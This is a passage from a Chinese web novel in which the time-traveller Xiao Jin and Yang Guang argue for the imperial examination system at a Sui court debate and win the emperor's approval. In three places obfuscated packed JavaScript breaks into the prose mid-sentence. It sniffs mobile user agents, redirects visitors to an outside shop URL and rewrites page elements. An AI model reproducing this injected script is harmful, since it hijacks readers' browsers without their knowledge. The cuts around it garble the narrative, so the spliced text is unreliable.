我点点头:“嗯。” 他走了,脚步声在夜色里渐渐远去。 书房里只剩下我和杨广。 蜡烛烧得只剩半截,火苗跳动着,把我们的影子投在墙上,晃来晃去。 “你也去睡吧。”杨广说,声音里有掩饰不住的疲惫。 我点点头,转身往门口走。 手刚碰到门框—— “萧锦。” 他的声音从身后传来。 我回过头。 他还站在书案旁,烛光在他脸上明明灭灭,看不清表情。 “明天……”他开口,却又停住。 我等了一会儿,他没继续说。 “殿下还有事?”我问。 他沉默了半晌,忽然迈步走过来。 我还没反应过来,他已经走到我面前。 然后。 他伸出手,轻轻抱住了我。 不是文思阁里我扑过去那种用尽全力的拥抱,也不是什么带着暧昧意味的亲近。 这个拥抱很轻,很克制,只是手臂环过我的肩背,手掌在我背上很轻地拍了拍。 可那一瞬间,我浑身都僵住了。 “别怕。” 他在我耳边说,声音很低,很低,“明天,我在。” 说完,他就松开了手。 后退一步,回到了刚才那个克制的距离。 仿佛刚才那个拥抱,只是我的幻觉。 我愣愣地看着他,脑子里一片空白。 “去吧。”他说,转身走回书案旁,背对着我,“好好睡一觉。” 我机械地转身,推开书房门,走出去。 夜风迎面吹来,凉飕飕的。 我站在廊下,回头看了一眼。 书房的门已经关上了,烛光从窗纸透出来,朦朦胧胧的一团暖黄。 而他还在里面。 我抬手,摸了摸刚才被他拍过的后背。 那里好像还残留着一点温度。 49. 论辩:第一回 天还黑着,我已经被杨广从屋里拎出来了。 “殿下,现在才卯时……”我困得眼皮打架。 “朝会在辰时,但需要提前到。” 杨广一身玄色朝服,玉带金冠,挺拔得像个竹子,“你是第一次上朝,得早点去熟悉站位。” 我打了个哈欠,爬上了他那辆玄青色马车。 车厢里,杨广递给我一个小瓷瓶:“薄荷膏,抹太阳穴。” 我接过来抹上,清凉感直冲天灵盖,总算清醒了点。 “紧张吗?”他问。 “紧张?”我扯了扯嘴角,“我现在只想回去睡觉。” 他低笑一声:“等会儿你就睡不着了。” 马车驶到太极殿前,天刚透出蟹壳青。 我跟在杨广身后下车,一路往大殿走,一路接受着满朝文武的目光洗礼。 “啧,看见没?就那个穿碧裙的……” “贺府那个养女?真上朝了?” “听说晋王殿下让她参与拟定科举章程……女子议政,千古奇闻!” “奇闻?我看是祸水!好好的察举不用,非要折腾什么科举,还不是她撺掇的?” 我站定,挺直腰杆,假装没听见。 老贺和贺璟站在武将队列里,离我们不远。老贺一直用余光瞟着我,那眼神明晃晃写着:丫头,争气点! 贺璟也朝我点了点头。 我心里忽然稳了下来。 就在这时。 “咚!咚!咚!” 裴仁基来了。 老爷子今天没穿铠甲,一身紫色国公常服,腰上挂着那把据说砍过无数突厥人脑袋的老横刀。 他径直走到杨广身侧,“咣当”一站。 全场静了三秒。 然后炸锅。 “裴公?!他怎么站那儿?!” “这……这是要明着支持晋王?” “不能吧?裴家向来不掺和……” 裴仁基眼皮一耷拉,从鼻子里哼出一声不大不小、刚好能让前排听见的:“哼。” 就这一声,又把议论压下去大半。 我偷偷松了口气。 行,有这尊杀神镇场,至少那些明面上的刀子得掂量掂量。 辰时正。 “陛——下——驾——到——!” 太监那嗓子又尖又利,能划破琉璃瓦。 哗啦啦跪倒一片,我也跟着趴下,视线里是光可鉴人的金砖地,倒映着无数官袍下摆和紧张抽动的嘴角。 “平身。” 皇帝的声音从头顶飘下来,不高,但每个字都像秤砣,砸在人心上。 我爬起来,飞快扫了一眼。 御座上,皇帝老爷子面色平静,看不出阴晴。独孤皇后也来了,坐在稍后的位置上,凤冠下的目光温温和和的,可扫过来时,我总觉得自己像被剥了层皮。 御阶下,两拨人站得泾渭分明,空气里火花带闪电。 左边是我们仨: 杨广——主C,站最前,气场全开。 我——辅助,站他侧后,主要任务是别掉链子,顺便输出。 裴仁基——坦克,往那儿一杵,负责吸引仇恨兼物理威慑。 右边,果然是那三座佛: 礼部尚书崔明远——理论前锋,负责引经据典,扣“祖制”“礼法”大帽子。 御史中丞卢怀慎——道德喷子,专攻人身攻击,搅混水。 太傅独孤泓——终极BOSS,定海神针。 其余百官分列两侧,耳朵竖得比兔子还高,空气中弥漫着看史诗大戏的紧张和兴奋。 皇帝开口,声音在大殿穹顶下嗡嗡回响:“今日朝会,议‘科举取士新制’。双方各陈己见,往复辩难。晋王,你先说。” 杨广出列,撩袍跪地,动作干脆:“父皇,儿臣以为,科举之制,其要在三。” “一在公平。白纸黑字,统一尺度,使天下英才,无论士族寒门、南北西东,皆有同台竞技之机,不因出身而道阻。” “二在务实。分科取士,明经通典义,进士晓时务,各展其长,为朝廷取切实可用之才,非空谈之辈。” “三在长远。立万世通行之规,使选官有法可依,后世可循,不再因一人一念而废兴,固我大隋选才之基。” 言简意赅,没一句废话,但字字砸在点子上。 皇帝微微颔首,喜怒不形于色:“崔卿。” 崔明远慢悠悠出列,先整了整一丝不乱的衣冠,才开口,声音温雅得像泡了蜜。 “晋王殿下心忧社稷,锐意求新,老臣感佩。” 然后话锋一转:“然,治国之道,贵在持重守常。察举之制,上承两汉,下启魏晋,沿袭数百载,岂无深意?此制不仅考校文章,更重品行操守、乡论清议、世家熏陶。由地方耆老、朝中重臣悉心品评,观其行,察其德,所得方为德才兼备、堪当大任之君子。” 他顿了顿,目光若有似无地扫过我,语气转沉。 “仅以科举考试论英雄,则难免催生轻浮躁进、钻营取巧、甚至结党营私之风。士子皆埋头于寻章摘句,揣摩考题,谁还关心民生疾苦、修身养德?长此以往,士林风气败坏,朝堂尽是无德无行之徒,国将不国!” 帽子扣得又大又沉。 卢怀慎立刻跳出来补刀,手指头恨不得戳破天:“陛下!崔尚书所言,句句金石!臣要弹劾,此等国是朝议,竟容女子立于朝堂,妄言大政,混淆阴阳,败坏纲常!此例一开,后患无穷!臣请陛下明正典刑,以儆效尤!” 道德喷子,虽迟但到。 我翻了个白眼,出列,跪地。 然后抬起头,没直接理卢怀慎那条疯狗。 我先看向崔明远,语气特真诚:“崔尚书,您说察举重‘品行操守’,那敢问,如今朝中被察举上来的官员里,贪赃枉法的,有吗?” 崔明远脸一板:“自然是个别害群之马……” “结党营私的,有吗?” “这……” “庸碌无为、尸位素餐的,有吗?” “萧姑娘!你这是胡搅蛮缠!”崔明远胡子气得直抖。 “好,那我不胡搅。”我转向卢怀慎,咧嘴一笑,露出八颗牙。 “卢中丞,您说女子立于朝堂是‘混淆阴阳’,那请问,皇后娘娘平日为陛下分忧国事,偶有建言,也是‘混淆阴阳’吗?” 卢怀慎脸“唰”地白了,冷汗“噌”就下来了,舌头都打结:“这……臣绝非此意!娘娘凤仪天下,辅佐圣君,自是与凡俗不同!岂可混为一谈!” “哦,原来‘阴阳’能不能‘混’,得看人。” 我点点头,恍然大悟状,“那依中丞高见,这‘阴阳’的界限,到底划在哪儿?划在出身门第?划在姓氏血缘?还是划在,某些人觉得你‘配不配’?” “你……你强词夺理!巧言令色!” 卢怀慎指着我,手指头发颤。 “中丞别急着扣帽子嘛。”我笑容一收,语气转沉,“科举要选的,不就是‘无论出身,唯才是举’吗?” “若今日,因我是女子、是前朝之后、是寄居贺府之人,便无权在此开口。” 我顿了顿,声音拔高,清亮得能戳破殿顶: “那明日,寒门子弟是否也因‘出身微贱’而无权被察举?商户之子是否因‘非士族’而无权入仕?军户之后是否因‘粗鄙’而无权为官?!” 我盯着卢怀慎,一字一顿,砸得他眼冒金星: “卢中丞,您现在质疑我的‘资格’,不正恰恰证明了,咱们现在这套选官法子,头一个看的,从来就不是‘才’,而是‘身份’吗?!” 死寂。 许多官员面露震动,交头接耳。 卢怀慎脸涨成猪肝色,嘴唇哆嗦,搜肠刮肚想反驳,却半个字憋不出来。 就在气氛紧绷欲裂之时,一个苍老、温和、却带着奇异抚平人心力量的声音,缓缓响起: “萧姑娘。” 是独孤泓。 他没有出列,甚至没有挪动脚步,只是微微抬起那双澄澈如古潭的眼睛,看向我,嘴角甚至带着一丝悲悯的笑意。 “姑娘年少气盛,锐意进取,老夫……颇为欣赏。” 他一开口,连杨广都微微侧目,神色凝重起来。 殿内瞬间安静,所有人的注意力都被这尊“活历史”吸引过去。 “姑娘方才所言,‘唯才是举’,立意甚高。老夫年轻时,亦曾有此热血。” 独孤泓的声音不疾不徐,像在讲述一个古老的故事,“然则,治国之道,非仅选才一端。治国,首在治人;治人,首在治心;治心,首在……定序。” 他轻轻顿了顿紫竹杖,发出清脆一响。 “察举之制,固然有其局限。然则,数百年来,它维系着朝野上下、士农工商,各安其位,各守其分。世家子弟,自幼耳濡目染政务章程,通晓进退分寸,彼此姻亲关联,行事多有顾忌,此乃维系朝局稳定之无形纽带。” 他看向杨广,目光温和而深邃。 “晋王殿下欲破旧立新,其志可嘉。然则,殿下可曾想过,若骤然打破此序,以考试擢拔寒峻,彼等骤得高位,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猛地伸手指向独孤泓,手指几乎戳到对方鼻尖: “我就问这位‘一心为公’的独孤太傅一句。” “您口口声声怕江山社稷被‘置于烈焰之上烹烤’,那您睁眼看看!如今这江山,底下烧的是哪门子的火?!” 他根本不给独孤泓开口的机会,蒲扇般的大手一挥,横扫过满殿文武: “是黄河年年决口、百万流民易子而食的火!” “是边关将士缺饷少粮、冻饿而死的火!” “是寒门才俊报国无门、老死蓬蒿的怨火!” “是地方豪强兼并土地、胥吏贪墨无度的鬼火!” 他目光扫过殿中那些锦衣华服的官员: “你自己看看,三代富贵养下来,多少世家子弟,除了会背几本经书、会攀点姻亲,还剩什么真本事?黄河泛滥他们懂治水?边关告急他们能带兵?国库空虚他们会算账?” 他往前逼了一步,花白胡子都翘了起来: “你现在护着的这套‘规矩’,是把世家子弟圈在锦绣堆里,养成一群只会清谈、不通实务的废物!” “再这么养下去,世家只会越来越弱,越来越虚,等哪天真遇到大风浪,你们拿什么撑?!” 独孤泓沉声道:“裴公,世家子弟自有教养……” “教养?”裴仁基啐了一口,“教养出废物,不如逼出本事!” 他声音陡然拔高: “科举,就是逼你们世家子弟重新捡起真本事!” “不是拆你们的台!” “是在给你们续命!” 满殿一静。 裴仁基盯着独孤泓,一字一句: “你们独孤家三百年基业,靠的不是一成不变的‘规矩’,是每一代都能出真人才!” “科举开的就是这条路,让你们世家子弟跟天下人公平竞争,谁有真本事谁上!” “能考上去的,才是真正配得上‘世家’二字的英才!” “考不上的,”他冷笑,“那就说明你们世家这代养废了,活该让位!” 他最后一句,斩钉截铁: “独孤,你是要眼前这点虚名,还是要子孙后代里,真能出几个扛得起门楣、经得起风浪的硬骨头?” “科举不是在害世家,是在救世家!” 话音落下。 裴仁基收回刀,抱臂而立。 独孤泓站在原地,握着紫竹杖的手指,骨节捏得发白。 50. 论辩·第二回 皇帝缓缓开口,压下殿中低议:“第一轮毕。第二轮,双方各择对方一人,只问一核心问题,被问者必须作答,晋王先择。” 所有人的目光都聚焦在杨广身上。 他会选谁? 崔明远下颌微抬,眼神里是“放马过来”的顽固。卢怀慎避开视线,手指捻着朝珠,气息不稳。独孤泓拄杖而立,古井般的眼睛平静地回望。 杨广的目光在对面三人脸上缓缓扫过,他没有选择狼狈的卢怀慎,也没有选择顽固的崔明远,而是径直望向了最德高望重的独孤泓。 我心头猛地一跳。 嚯,真刚。 不挑软柿子,不捏狼狈人。 他直接找上了那座最高、最稳、也最难撼动的山。 “独孤太傅。”杨广开口。 老人微微颔首:“殿下请问。” “太傅方才论及‘秩序’,言‘察举维系朝野上下、各安其位,乃稳定之无形纽带’。小王深以为然。治国,确需定序。” 他先肯定对方,把对方架到最高处。 然后…… “然,小王有一惑,百思不解,恳请太傅解惑。” 他的声音清晰,一字一顿: “太傅所言‘各安其位’,究竟是谁来定这‘位’?” 轰。 我脑子里像有什么东西炸了一下。 不是关于科举的细则,不是关于弊病的争论。 他直接问的是,权力的起源。 是依《周礼》古制?是依旧例?还是依……数百年来门第相承、姻亲勾连,那张早已长进血肉里的网? 杨广的声音继续响起,不高,但每个字都像重锤: “若这‘位’,从一开始,便是由高祖、曾祖们凭着战功、姻亲、乃至时运站定的地方,而后代代相传,不容他人染指。” “那么太傅,” 他抬眼,目光澄澈得近乎残忍,“这究竟是‘天定之序’,还是……‘人定之序’?” 人定之序。 四个字,像一道惊雷劈开混沌。 满殿死寂。 我能听见自己血液冲刷耳膜的声音。 那些刚才还频频点头、深以为然的脸,此刻都僵住了。 因为杨广没在辩论科举的好坏,他是在掀桌子。 他在问一个所有人都假装看不见、却实实在在压在每个寒门头顶三百年的问题: 你凭什么坐在那里? 独孤泓握着紫竹杖的手,指节泛出青白。 他一生都在维护“秩序”,维护“体统”,维护“各安其位”。 可今天,第一次有人当着他的面问:这“位”本身,公平吗? 老人久久没有开口。 他花白的须发在透过高窗的日光里微微颤动,那双看尽风云的眼睛,此刻却透出些类似震动的情绪。 终于,他极缓慢地、极沉重地,叹了口气。 那叹息里没有愤怒,没有驳斥,只有一种……近乎悲凉的疲惫。 “殿下此问,”他的声音沙哑,“老臣……答不出。” 他顿了顿,补了一句: “非不能答,是……不敢答。” 不敢答。 不是辩不过,是这个问题本身的重量,已经超出了“辩论”的范畴。 它问的是关陇世家三百年的立身之本,是“我们为什么天生高贵”的终极诘问。 “老臣只知,这‘序’已行三百年。破之,恐有大乱。” 杨广躬身,姿态依旧恭敬: “太傅所忧‘变革大乱’,小王明白。然小王翻阅史册,见周室分封八百年,诸侯并立;秦朝一统,废分封、立郡县,当时天下亦言‘必有大乱’。” 他直起身,朝服在殿中风动: “可郡县一行,书同文、车同轨,天下方有真正之‘一统’。若无始皇破旧立新,何来后世四百年汉家基业?” 他目光扫过满殿朱紫,最后落回御座: “今日,儿臣愿效商鞅变法、始皇改制之胆魄。” “纵身后青史笔如刀、骂名滚滚来。” “此界,当破。” 一字一顿,金石之音。 殿内落针可闻。 我看见许多世家出身的官员,脸色已是一片惨白。 他们终于听懂了,晋王要破的不仅是科举这一道“界”。 他要破的,是所有建立在“出身即天命”之上的高墙。 而独孤泓,那位关陇的精神脊梁,在那句“不敢答”之后,便缓缓闭上了眼。 他没有认输。 但他让开了一步。 就这一步,足够了。 皇帝的声音恰在此时响起: “反方择人。” 崔明远和卢怀慎看向独孤泓。 独孤泓却微微摇了摇头,示意他们稍安勿躁。他缓缓地,自己向前迈了一小步。 他没有选择杨广,也没有选择裴仁基,而是将那双澄澈悲悯的眼睛,看向了我。 “萧姑娘。”他声音依旧温和,如同长辈询问晚辈课业。 “姑娘聪慧机敏,思虑周详,老夫甚喜。姑娘方才力主‘公平’,谓科举能将选择权‘放到每个人自己笔下’。此言,甚善。” 他顿了顿,语气带上了一丝真正的、学术探讨般的疑惑:“然则,老夫有一事,百思不得其解,望姑娘以实言相告,解老夫之惑。” “姑娘所倡科举,需熟读经史,通晓文章。然天下寒门子弟,大多为生计所迫,终日劳作,何来时间精力?更无钱财购买书籍、延请名师。对于这些连识字机会都匮乏的底层百姓,姑娘所谓‘公平’,岂非如同在饥民面前摆一桌需用金匙玉箸才能享用的盛宴?看似人人可及,实则遥不可及。” 他轻轻叹息,悲悯中带着锋刃: “如此一来,科举所选拔的,恐非最广泛的‘寒门英才’,而仅仅是寒门中极少数有幸能接触教育的‘幸运儿’。它非但不能破除门第,反而可能在士族与庶民之间,再造一个以‘文才’划分的、更牢固的阶层壁垒。” 他凝视着我,最后一问如重锤落下: “请问姑娘,对此根本之困,可有良策?若无法解决,所谓‘公平’,是否终究只是一场……文人雅士之间的游戏?” 殿内死寂。 老头子这个问题问得刁钻。 真刁钻。 一剑就捅穿了所有理想主义的花架子,直抵最血淋淋的现实:穷人连书都读不起,你开什么科举?开给谁看? 杨广眉头紧锁,裴仁基握紧了拳。 满殿目光像针一样扎在我背上。 可我心里,忽然就乐了。 真的,差点没憋住笑出来。 老爷子啊老爷子,您这问题放在别人那儿是绝杀。 可您偏偏问的是我。 您跟我一个带着中华五千年义务教育大礼包、见识过“精准扶贫”“希望工程”“网课全覆盖”的穿越者,讨论“教育资源不平等”? 我深吸一口气,不是紧张,是得把那股“你,踢到铁板了!”的劲儿压下去点。 然后我上前一步。 这一步走得特别稳,特别慢。我甚至还有闲心理了理袖子,刚才被裴老头那嗓子震得有点皱。 “太傅此问,振聋发聩。” 我声音清晰,甚至带着点笑意,“您说得对,若只考四书五经、诗词歌赋,科举的确会变成少数人的游戏。” 殿内安静下来,所有人都看着我,等着看我怎么圆这个“死局”。 我话锋一转:“但,谁规定科举只能考这些?” 满殿微微一哗。 我继续道,语速平稳却带着某种不属于这个时代的笃定: “太傅可曾想过,治国所需,仅文人乎?” “户部需要能算清天下钱粮的人,工部需要懂水利、会建城、能造械的人,兵部需要知舆图、明粮道、晓兵械的人,地方州县需要懂农时、能断案、善抚民的人……这些,是熟读《诗经》《礼记》就能胜任的吗?” 我趁机抛出第一个现代概念,「分科取士,术业专攻。」 “明经科考经典,是为治国理政储备通才。但除此之外——” 我抬起手指,如数家珍: “可设‘明算科’,专考算术、田亩、税赋计算,让擅长数理之人入户部、掌钱粮; 设‘明工科’,考营造、水利、器械原理,让巧匠之才为工部所用; 设‘明医科’,考医术、药理、疫病防治,让良医可入太医署、赴州县惠民; 设‘明律科’,考律法、案牍、断案逻辑,让通晓律法之人充实刑部、地方司法; 甚至可设‘明农科’,考农时、育种、田亩管理,让真正懂农事之人指导天下耕桑……” 殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“太傅,科举若只考经史,确是文人游戏。但若打开大门,让百工百艺皆可成‘士’。那么,农家子若擅长稼穑,可考明农科;匠户子若手巧心细,可考明工科;商贾子若精于计算,可考明算科……这才是真正的‘天下英才,入吾彀中’!” “至于您担心的‘阶层固化’。” 我斩钉截铁:“当一条路走不通时,我们不是该堵死这条路,而是该多开几条路。经史之路走不通,就让算学之路、工技之路、医药之路都成为通天之梯!总有一条,能让那些被埋没在尘土里的金子,发出光来。” 殿内鸦雀无声。 独孤泓第一次,真正地沉默了。 他不是被驳倒了,而是被一种完全超越他认知框架的思路冲击了。 在他的世界里,“士”就是读经史的文人。 而这个少女,却轻描淡写地把“士”的定义,拓宽到了工匠、账房、郎中……甚至农夫。 这已不是“改良察举”,这是重塑“人才”的定义本身。 良久,独孤泓极轻地叹了口气,那叹息里有一种复杂的、近乎怅然的意味: “姑娘所思……当真开阔。” 他没有再追问“寒门无书”,因为对方给出的答案,已跳出了他预设的棋盘。 你问“穷人读不起经史怎么办”,她答“那就不只考经史,让穷人用自己会的技能也能考”。 这是一种降维打击。 但他还没死心,又换了个问法,“然,术业专攻,古亦有之。只是将百工之术擢升至‘科举’之列……恐引起士林非议,谓朝廷重术轻道,坏千年文统。” 术还是道? 我差点笑出声。 姐是学过唯物辩证法的人。物质决定意识,实践检验真理,你跟我扯什么形而上的轻重? 我躬身一礼,趁势收尾:“太傅明鉴。道与术,如车之双轮,缺一不可。科举取士,当以道驭术,以术辅道。通经典者可治国,精技艺者可兴邦。二者并重,方是万全。” 独孤泓深深看我一眼,终于不再言语,缓缓退回了队列。 搞定! 老贺在队列里咧嘴直乐,拿胳膊肘使劲捅旁边的老将,眉毛都快飞起来了:瞧见没?我家闺女! 贺璟就站在老贺身后半步,从头到尾没吭声。等我最后一句话落地,他撩起眼皮看我一眼,眼神跟验收合格似的。嗯,没丢人。 然后就移开视线站那儿了,跟平时没两样。 杨广站在前头,等我那句“车之双轮”说完,他肩膀几不可察地松了一下,快得像错觉。 裴仁基直接“嘿”地笑出了声,抱着胳膊扫视对面,眼神写满:还有谁? 寒门官员眼睛发亮,世家官员脸色发白。 至于皇帝……我没敢看。 51. 论辩·终章 皇帝的声音压下来,像沉钟:“第三轮,最终陈词。无需再辩,只言心中所想。独孤太傅,先请。” 独孤泓缓缓出列。 他走得很慢,紫竹杖点在金砖上,发出笃、笃的轻响,每一声都敲在人心坎上。 他在御座前停下,没有立刻说话,而是先抬眼看向皇帝,那眼神里有种近乎悲悯的忧虑。 然后他转向杨广,又看向我,最后目光扫过满殿文武。 “陛下,”他的声音苍老而沉缓,带着一种长者为后辈操碎心的恳切,“老臣思虑再三,夜不能寐。晋王殿下与萧姑娘锐意革新,其志可嘉,老朽……甚为感佩。” 他顿了顿,紫竹杖又轻点了一下: “然则,治国之道,贵在持重。新政牵扯甚广,若骤然全盘推行,恐震荡过剧,伤及国本,此非老臣杞人忧天,实乃历朝血泪之训啊。” 殿内鸦雀无声。 所有人都竖起耳朵,等着听这位三朝元老、关陇精神领袖的“最终建议”。 独孤泓深吸一口气,仿佛下了很大决心: “老臣斗胆,有一折中之策,或可两全。” 他抬起枯瘦的手,比划着,语气循循善诱: “何不……在现行察举制中,特设一科?专为寒门而设。名目老臣都想好了,就叫‘寒士贤良科’。” “具体如何?”皇帝缓缓问。 “各郡每年可保举一二才德兼备之寒士,” 独孤泓说得条理清晰,“由郡守、名士联名举荐,荐书上需详列其才学品行、乡论清议。荐书送至长安,由礼部、吏部会同三公复核,若确为良才,便可破格擢用,授以官职。” 他说到这里,眼中露出慈祥的光: “如此,有三利。” “其一,不坏祖宗成法。察举依旧是察举,只是多了个专为寒门开的‘侧门’。” “其二,不伤士族之心。世家子弟的晋升之路丝毫不受影响,朝廷依旧重用。” “其三,”他声音提高,带着欣慰,“又可收天下寒俊英才之望!让那些真有才学的寒士,看到一条虽窄、却实实在在的通天之路!” 他最后看向皇帝,深深一揖: “陛下,此乃老臣苦思之两全之策啊!” “轰——” 殿内瞬间炸开锅! “太傅高明!” “此法甚妥!既安抚寒门,又不伤根本!” “到底是独孤太傅,思虑周全!” 许多原本摇摆的官员眼睛都亮了。是啊,这样多好!不用大动干戈,不用得罪世家,还能博个“广纳贤才”的美名。 简直完美! 我站在那儿,浑身发冷。 两全之策?好一个两全之策! 这哪里是什么折中?这分明是裹着蜜糖的砒霜! “每年保举一二”——名额掐得死死的,一年全国才几十个名额,塞牙缝都不够! “郡守名士举荐”——推荐权牢牢握在地方豪强手里!寒门想被举荐?先给豪强当十年门客吧! “朝中复核”——复核权还在世家把持的朝廷手里!你寒门就算侥幸被举荐,到了长安,照样能被一句“品行有亏”刷下来! 这根本不是开新路,这是在旧墙上开一扇巴掌大的小窗,然后对寒门说:看,给你们开窗了,够仁慈了吧? 而最可怕的是,这个提议听起来太体面、太合理了! 合理到让大多数只想“安稳”的官员都觉得“可以接受”。一旦皇帝点了头,今天这场轰轰烈烈的辩论、这三天的殚精竭虑、我们所有的努力,都将化为泡影。 科举会被这个“寒士贤良科”彻底架空,名存实亡。 旧秩序纹丝不动,只是多了一层更精致的遮羞布。 我猛地看向杨广。 他站在那里,背脊依旧挺直,但眉头锁得死紧。 显然,他也瞬间看穿了这个提议的毒辣,它精准地踩在了“改革”与“守旧”最微妙的平衡点上。 用“让步”的名义,行“绞杀”之实。 裴仁基在旁边低吼了一句“放他娘的屁”,拳头捏得咯咯响,想反驳却又不知从何下嘴。 因为这提议表面上,确实“没什么不好”啊! 殿内气氛开始微妙倾斜。 许多官员交头接耳,频频点头,看向独孤泓的眼神充满敬佩。果然姜还是老的辣,这么棘手的事,居然能想出这么“圆满”的解法。 就在这紧要关头。 杨广动了。 他没有像裴仁基那样暴怒,也没有急着反驳。他只是向前一步,先向独孤泓躬身一礼,姿态恭敬: “太傅体恤朝局,用心良苦,儿臣……感佩。” 先肯定,把对方的道德高地压下来。 然后,他直起身,目光平静地扫过那些面露赞同的官员,声音很稳,稳得像在陈述一个再简单不过的事实: “太傅此议,确为老成谋国之言。若只为‘安抚寒门’‘彰显朝廷恩德’,此法……甚好。” 他顿了顿。 就这一顿,殿内瞬间安静下来。 杨广抬起眼,看向御座,声音依旧平稳,却每个字都像重锤: “但,儿臣今日所求,非为‘安抚’,非为‘恩德’。” 他顿了顿,一字一顿: “儿臣是要在这堵‘认命’的墙上,凿开一道真正的、能让光透进来的裂缝。” “太傅的‘寒士贤良科’,是在墙上……刷了一层金粉。” “好看,体面,能让外面的人以为这墙变新了。” “可墙,”他声音陡然沉下去,“还是那堵墙。” “该看不见光的人,依旧看不见光。” 满殿死寂。 杨广继续道,语气平实得像在聊家常,可内容却字字诛心。 “太傅说‘每年保举一二’。可儿臣想问,在各郡豪强把持之下,能被‘保举’上的,会是真正的寒门才俊,还是他们的姻亲、仆役、乃至……出钱买通的门客?” “太傅说‘朝中复核’。可儿臣再问,复核的诸位大人,面对世家同僚的请托、面对错综复杂的关系网,又有几人真能不问出身、唯才是举?” 他没有质问,只是在平静地描述一种可能。可这平静,比任何激昂的控诉都更有力。 许多官员的脸色变了。 因为他们知道,这“可能”,几乎是必然。他们太了解这个官场了,什么“联名举荐”,什么“复核”,最后都会变成人情和利益的交换。 独孤泓握着紫竹杖的手,指节微微发白。 他没有反驳,只是深深地看着杨广,那眼神复杂到极致,有被看穿的震动,有谋划落空的遗憾,也有一丝……难以言喻的、仿佛看到某种不可阻挡之物的苍凉。 杨广不再看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299877|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他转向御座,撩袍跪地。 “父皇。”他声音不高,却字字铮然,如金石相击,“儿臣今日所请,非为一己之私,非为一时之利。” “这条路,儿臣知道难走。前方必是荆棘密布,必是骂名滚滚。” 他抬起眼,目光直抵御座,不闪不避: “但儿臣还是要走。” “因为,”他顿了顿,声音陡然拔高,在寂静的大殿里激起回响,“若今日不走,往后百年、千年,天下英才仍要困于门户,仍要老死蓬蒿!” “李纲的血,不能白流。” “那些在田垄间读书到天明的眼睛,不能永远看不见光!” 他重重一叩首,额触金砖: “儿臣愿做开路的石子,愿做趟河的卒子。” “纵使粉身碎骨——” “此路,必开!” 话音落下,他伏地不起。 太极殿里死寂。 所有声音都消失了,连呼吸都屏住了。只有他伏在地上的背影,像一把插进旧时代的刀。 皇帝坐在龙椅上,手指在扶手上轻轻敲着。 嗒。嗒。嗒。 然后,停了。 他抬眼,目光缓缓扫过独孤泓紧握紫竹杖的手,扫过跪伏在地的杨广,扫过满殿神色各异的官员。 然后,他缓缓地,站起了身。 “准奏。” 两个字,平平淡淡。 却像惊雷,炸响在每个人心头。 “科举新制,晋王总领,礼部、吏部协理,按今日所议,拟章程来报。” “退朝。” 袍袖一挥,皇帝转身,消失在屏风之后。 朝堂上先是一静,随即众人下跪,“万岁”之声轰然响起。 赢了? 真赢了? 我怎么觉得……像在做梦。 声音太大,光太亮。 我跪在那儿,脑子嗡嗡的,分不清是累昏头了还是真的。 然后,我看向杨广的背影。 他没有立刻起身。 在震耳欲聋的“万岁”声中,他仍保持着跪姿,只是肩膀微微起伏的弧度,像卸下了千钧重担,又像扛起了更沉的东西。 然后,他缓缓直起身。 挺直脊背的瞬间,阳光正从殿门汹涌而入,把他整个人镀了层刺眼的金边。 那影子被拉得很长、很长,长得仿佛要独自扛起一个时代。 裴仁基在旁边重重呼出一口气,抬手抹了把脸,不知是擦汗,还是擦那点没憋住的泪。 老贺眼圈发红,嘴角却咧着,想笑,又笑得比哭还难看。 贺璟走过来,把我从地上拉起来。 他什么也没说,只是握着我胳膊的手,很稳,稳得让我几乎要累瘫下去的腿,又有了点力气。 我抬起头,看向殿外。 天光大亮。 一个时代,就在这片光里,被硬生生撬开了一道再也无法合拢的缝。 而我们所有人,都将站在这道缝透出的、刺眼又滚烫的光里,走向一个谁也看不清的未来。 独孤泓拄着紫竹杖,缓缓转身。他没有看任何人,只是低着头,一步一步,走向殿外。 走向那个他所熟悉并竭力维护的旧时代,正缓缓落幕的余晖之中。 那背影佝偻,苍凉。 像一个时代的句号。 52. 破金手指 从太极殿高高的台阶上往下走时,我脚底像踩在云里。 阳光金灿灿地泼下来,把汉白玉栏杆照得晃眼。 裴仁基的大嗓门在耳边震着:“痛快!真他娘痛快!” 老贺死死攥着我胳膊,手劲大得发疼,可那疼里都透着欢喜。 赢了。 真真切切地赢了。 胸腔里像揣了只扑腾的鸟,翅膀扇得我嘴角止不住往上扬。 我甚至能感觉到脸颊在发烫,那种被无数道目光聚焦、被认可、被记住的热度。 我抬起头,下意识地在攒动的人影里找那个身影。 杨广正站在阶下与几位重臣说话。 朝服被日光一照,蟠龙纹几乎要活过来游走。大约是听见了这边的动静,他侧过脸,目光越过人群,精准地落在我脸上。 然后,他笑了。 不是朝堂上那种带着锋芒和掌控的笑,也不像黄河边吟诗时那种近乎虔诚的灼热。 这个笑很淡,很轻,嘴角只弯起一个极小的弧度,可眼底那簇常年燃着的火,此刻却像被春风拂过的烛焰,温软地晃了一下。 他在为我们高兴。 为我们共同劈开的这道口子,为我们赢下的这第一仗。 那一瞬间,有什么东西在胸腔里“噗”地绽开了。 甜丝丝的,热烘烘的,混着硝烟散尽的畅快和某种眩晕般的得意。 我甚至没忍住,朝他那个方向,飞快地、小小地,翘了一下嘴角。 他也几不可察地颔首。 